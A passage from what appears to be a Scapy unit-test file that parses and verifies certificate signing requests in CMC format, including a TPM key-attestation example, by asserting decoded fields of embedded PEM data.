z2a2lzdB2+B1Zw4MyXvUpfeg9CkkbCs=\n-----END NEW CERTIFICATE REQUEST-----\n\"\"\")\n\nassert csr.verifySelf()\n\nassert isinstance(csr.csr, CMS_ContentInfo)\ncms = csr.csr\n\nassert cms.content.signerInfos[0].version == 3\nassert cms.content.signerInfos[0].sid.sid == b'&o\\xb9\\xbe\\x9a\\xdb\\xcb\\x0c\\x14\\x16\\xc3\\\\\\x9e\\x94-\\xff3\\xfe\\xdc\\x11'\nassert cms.content.signerInfos[0].digestAlgorithm.algorithm.oidname == \"sha1\"\nassert cms.content.signerInfos[0].signatureAlgorithm.algorithm.oidname == \"rsaEncryption\"\n\n= CSR class - Parse CSR in CMC format - Normal (sha1) - Unpack and verify\n\ncms_engine = CMS_Engine([csr])\npkidata = cms_engine.verify(cms)\n\nassert isinstance(pkidata, CMC_PKIData)\n\nassert len(pkidata.controlSequence) == 2\nassert pkidata.controlSequence[0].type.oidname == \"OID_CMC_ADD_ATTRIBUTES\"\nassert pkidata.controlSequence[0].attrValues[0].value.pkiDataReference == 0\nassert pkidata.controlSequence[0].attrValues[0].value.certReferences == [1]\nassert pkidata.controlSequence[0].attrValues[0].value.attributes[0].values[0].value.MachineName == b\"DC1.DOMAIN.LOCAL\"\nassert pkidata.controlSequence[0].attrValues[0].value.attributes[0].values[0].value.UserName == b\"DOMAIN\\\\Administrator\"\nassert pkidata.controlSequence[0].attrValues[0].value.attributes[0].values[0].value.ProcessName == b\"certreq.exe\"\n\nassert pkidata.controlSequence[1].type.oidname == \"id-cmc-addExtensions\"\nassert isinstance(pkidata.controlSequence[1].attrValues[0].value.extensions[0].extensions[0].extnValue, X509_ExtCertificateTemplateName)\nassert pkidata.controlSequence[1].attrValues[0].value.extensions[0].extensions[0].extnValue.Name == b'\\x00U\\x00s\\x00e\\x00r'\nassert isinstance(pkidata.controlSequence[1].attrValues[0].value.extensions[0].extensions[1].extnValue, X509_ExtExtendedKeyUsage)\nassert [x.oid.oidname for x in pkidata.controlSequence[1].attrValues[0].value.extensions[0].extensions[1].extnValue.extendedKeyUsage] == ['OID_EFS_CRYPTO', 'emailProtection', 'clientAuth']\nassert isinstance(pkidata.controlSequence[1].attrValues[0].value.extensions[0].extensions[2].extnValue, X509_ExtKeyUsage)\nassert pkidata.controlSequence[1].attrValues[0].value.extensions[0].extensions[2].extnValue.keyUsage == \"101\"\n\nassert isinstance(pkidata.reqSequence[0], CMC_TaggedRequest)\ncertReqInfo = pkidata.reqSequence[0].request.certificationRequest.certificationRequestInfo\nassert certReqInfo.version == 0\nassert certReqInfo.get_subject() == {'organizationName': 'TestOrg', 'commonName': 'TestCN'}\nassert certReqInfo.get_subject_str() == '/O=TestOrg/CN=TestCN'\n\nassert certReqInfo.attributes[0].type.oidname == \"OID_OS_VERSION\"\nassert certReqInfo.attributes[0].values[0].value == b'10.0.26100.2'\n\nassert certReqInfo.attributes[1].type.oidname == \"OID_ENROLLMENT_NAME_VALUE_PAIR\"\nassert certReqInfo.attributes[1].values[0].value.Name.val.decode(\"utf-16be\") == \"CertificateTemplate\"\nassert certReqInfo.attributes[1].values[0].value.Value.val.decode(\"utf-16be\") == \"User\"\n\nassert certReqInfo.attributes[2].values[0].value.MachineName == b'DC1.DOMAIN.LOCAL'\nassert certReqInfo.attributes[2].values[0].value.UserName == b'DOMAIN\\\\Administrator'\nassert certReqInfo.attributes[2].values[0].value.ProcessName == b'certreq.exe'\n\nassert certReqInfo.attributes[3].values[0].value.KeySpec == 1\nassert certReqInfo.attributes[3].values[0].value.ProviderName.val.decode(\"utf-16be\") == 'Microsoft Enhanced Cryptographic Provider v1.0'\n\nassert certReqInfo.attributes[4].values[0].value.extensions[0].extnValue.Name == b\"\\x00U\\x00s\\x00e\\x00r\"\nassert [x.oid.oidname for x in certReqInfo.attributes[4].values[0].value.extensions[1].extnValue.extendedKeyUsage] == ['OID_EFS_CRYPTO', 'emailProtection', 'clientAuth']\nassert isinstance(certReqInfo.attributes[4].values[0].value.extensions[3].extnValue, X509_ExtSubjectKeyIdentifier)\nassert certReqInfo.attributes[4].values[0].value.extensions[3].extnValue.keyIdentifier == b'&o\\xb9\\xbe\\x9a\\xdb\\xcb\\x0c\\x14\\x16\\xc3\\\\\\x9e\\x94-\\xff3\\xfe\\xdc\\x11'\n\n= CSR class - Parse CSR in CMC format - Advanced (KeyAttestation + sha256)\n\nfrom scapy.layers.tls.cert import CSR\n\ncsr = CSR(\"\"\"\n    -----BEGIN NEW CERTIFICATE REQUEST-----\n    MIIdrAYJKoZIhvcNAQcCoIIdnTCCHZkCAQMxDzANBglghkgBZQMEAgEFADCCG/IG\n    CCsGAQUFBwwCoIIb5ASCG+AwghvcMGUwYwIBAgYKKwYBBAGCNwoKATFSMFACAQAw\n    AwIBATFGMEQGCSsGAQQBgjcVFDE3MDUCAQUMEldLUzAxLkRPTUFJTi5MT0NBTAwN\n    RE9NQUlOXFdLUzAxJAwNdGFza2hvc3R3LmV4ZTCCG22gghtpAgEBMIIbYjCCGkoC\n    AQAwADCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALBtO+wrGSWT7QVn\n    6dfFxKs/Yy2PRXZTzfd6770wcCZNPT/NzaN2QqVVwm1LMLTwgiHJQR2iUW8mfYLu\n    uVWRBvNi5DVAaB7LwNQxfb1XjaoDz5mmopISJPwjSZWkBlTj3V243f78GnR4kxXj\n    Df8Aw8Soggi2ijlvYuBtmDK/lwLhxg9Q0o477yBsjZRWp0VrB/QFL612ajN7t3EF\n    sLwSovMws+a1dAJQnzQozCmTFUiiAJCfulvqqXo73Lf9piYldIR2PQ93vNLK7PEv\n    1h6PkiBQnkHEp2WxY0fCx8+hr44o2+fnZ789zKtVU8Hl7tVn9l+m80nfX69rYZDO\n    XnvNd2cCAwEAAaCCGRswHAYKKwYBBAGCNw0CAzEOFgwxMC4wLjI2MjAwLjIwRAYJ\n    KwYBBAGCNxUUMTcwNQIBBQwSV0tTMDEuRE9NQUlOLkxPQ0FMDA1ET01BSU5cV0tT\n    MDEkDA10YXNraG9zdHcuZXhlMFMGCSsGAQQBgjcVGTFGHkQATQBpAGMAcgBvAHMA\n    bwBmAHQAIABQAGwAYQB0AGYAbwByAG0AIABDAHIAeQBwAHQAbwAgAFAAcgBvAHYA\n    aQBkAGUAcjBcBgorBgEEAYI3DQICMU4wTAIBAB5EAE0AaQBjAHIAbwBzAG8AZgB0\n    ACAAUABsAGEAdABmAG8AcgBtACAAQwByAHkAcAB0AG8AIABQAHIAbwB2AGkAZABl\n    AHIDAQAwgbAGCSqGSIb3DQEJDjGBojCBnzA8BgkrBgEEAYI3FQcELzAtBiUrBgEE\n    AYI3FQjWsQSC2qUvhJmLPoL2iwyCzYNAa4bp+RyCq/F7AgFkAgEHMBMGA1UdJQQM\n    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\n    tDcJu1pwwhhwrsR9l8iKGw==\n    -----END NEW CERTIFICATE REQUEST-----\n\"\"\".replace(\"    \", \"\"))\n\nassert csr.verifySelf()\n\nassert isinstance(csr.csr, CMS_ContentInfo)\ncms = csr.csr\n\nassert cms.content.signerInfos[0].version == 3\nassert cms.content.signerInfos[0].sid.sid == b'\\x17\\xad/(\\x94]\\x19e]\\x8c\\xaa\\xda~\\x85-\\xd6i\\x11\\xef\\xb5'\nassert cms.content.signerInfos[0].digestAlgorithm.algorithm.oidname == \"sha256\"\nassert cms.content.signerInfos[0].signatureAlgorithm.algorithm.oidname == \"rsaEncryption\"\n\n= CSR class - Parse CSR in CMC format - Advanced (KeyAttestation + sha256) - Unpack and verify\n\nfrom scapy.layers.tpm import *\n\ncms_engine = CMS_Engine([csr])\npkidata = cms_engine.verify(cms)\n\nassert isinstance(pkidata, CMC_PKIData)\n\nassert isinstance(pkidata.reqSequence[0], CMC_TaggedRequest)\ncertReqInfo = pkidata.reqSequence[0].request.certificationRequest.certificationRequestInfo\nassert certReqInfo.version == 0\nassert certReqInfo.attributes[0].type.oidname == \"OID_OS_VERSION\"\nassert certReqInfo.attributes[0].values[0].value == b'10.0.26200.2'\n\nassert certReqInfo.attributes[2].type.oidname == 'OID_ENROLL_KSP_NAME'\nassert certReqInfo.attributes[2].values[0].value.val.decode(\"utf-16be\") == 'Microsoft Platform Crypto Provider'\n\nassert certReqInfo.attributes[3].type.oidname == \"OID_ENROLLMENT_CSP_PROVIDER\"\nassert certReqInfo.attributes[3].values[0].value.ProviderName.val.decode(\"utf-16be\") == 'Microsoft Platform Crypto Provider'\n\nassert certReqInfo.attributes[4].type.oidname == \"extensionRequest\"\nexts = certReqInfo.attributes[4].values[0].value.extensions\n\nassert exts[0].extnID.oidname == \"OID_CERTIFICATE_TEMPLATE\"\nassert exts[0].extnValue.templateID.val == '1.3.6.1.4.1.311.21.8.1415300.5673647.8799678.6129036.5456320.107.14318748.4913403'\nassert exts[0].extnValue.templateMajorVersion == 100\nassert exts[0].extnValue.templateMinorVersion == 7\n\nassert exts[1].extnID.oidname == \"extKeyUsage\"\nassert exts[1].extnValue.extendedKeyUsage[0].oid.oidname == 'iKEIntermediate'\n\nassert exts[2].extnID.oidname == \"keyUsage\"\nassert bool(exts[2].critical) is True\nassert exts[2].extnValue.keyUsage == \"101\"\n\nassert exts[3].extnID.oidname == \"OID_APPLICATION_CERT_POLICIES\"\nassert isinstance(exts[3].extnValue, X509_ExtCertificatePolicies)\nassert exts[3].extnValue.certificatePolicies[0].policyIdentifier.oidname == 'iKEIntermediate'\n\nassert exts[4].extnID.oidname == \"subjectKeyIdentifier\"\nassert exts[4].extnValue.keyIdentifier == b\"\\x17\\xad/(\\x94]\\x19e]\\x8c\\xaa\\xda~\\x85-\\xd6i\\x11\\xef\\xb5\"\n\nassert certReqInfo.attributes[5].type.oidname == \"OID_ENROLL_EK_INFO\"\ncms_enveloppe = certReqInfo.attributes[5].values[0].value\nassert cms_enveloppe.contentType.oidname == \"id-envelopedData\"\nassert isinstance(cms_enveloppe.content.recipientInfos[0].recipientInfo, CMS_KeyTransRecipientInfo)\nassert cms_enveloppe.content.encryptedContentInfo.contentType.oidname == 'pkcs-7.1'\n\nassert certReqInfo.attributes[6].type.oidname == \"OID_ENROLL_ATTESTATION_STATEMENT\"\ncmc_enrollment = certReqInfo.attributes[6].values[0].value\nassert isinstance(cmc_enrollment.kas, KeyAttestationStatement)\nassert cmc_enrollment.kas.Version == 1\n\nidBinding = cmc_enrollment.kas.idBinding\nassert isinstance(idBinding, PCP_IDBinding20)\nassert idBinding.PublicKey.publicArea.objectAttributes == 328818\nassert idBinding.PublicKey.publicArea.authPolicy.buffer == b'\\x9d\\xff\\xcb\\xf3l8:\\xe6\\x99\\xfb\\x98h\\xdcm\\xcb\\x89\\xd7\\x158\\x84\\xbe(\\x03\\x92,\\x12AX\\xbf\\xad\"\\xae'\nassert idBinding.CreationData.creationData.pcrSelect.count == 0\nassert idBinding.CreationData.creationData.pcrDigest.buffer == b\"\\xe3\\xb0\\xc4B\\x98\\xfc\\x1c\\x14\\x9a\\xfb\\xf4\\xc8\\x99o\\xb9$'\\xaeA\\xe4d\\x9b\\x93L\\xa4\\x95\\x99\\x1bxR\\xb8U\"\nassert idBinding.CreationData.creationData.locality.Extended == 1\nassert idBinding.CreationData.creationData.sprintf(\"%parentNameAlg%\") == 'TPM_ALG_SHA256'\nassert idBinding.CreationData.creationData.parentName.Name == b'\\x00\\x0b\\x0e\\xa7[\\x12x5\\xe3_\\x10\\xc7\\xfc\\xcd3Za\\xe3.\\xde\\xf6\\xbc\\x0b\\xd9Y\\xbamn\\x87I\\xb6b\\x8b\\xa8'\nassert idBinding.Attest.attestationData.qualifiedSigned.Name == b'\\x00\\x0b\\xb5\\xb4e\\x88\\xdbDN\\x9c\\xf0ICV\\xd7\\xc5]n\\x91\\r|\\xd5\\x89D\\x9a]\\xebL\\x04\\x90\\xbb$\\xd7\\x0f'\nassert idBinding.Attest.attestationData.extraData.buffer == b'w\\x06\\xa2\\x0f*\\xef2\\xd8\\x00C\\x85X$\\n\\xed\\x1c\\xectlT'\nassert idBinding.Attest.attestationData.attested.objectName.Name == 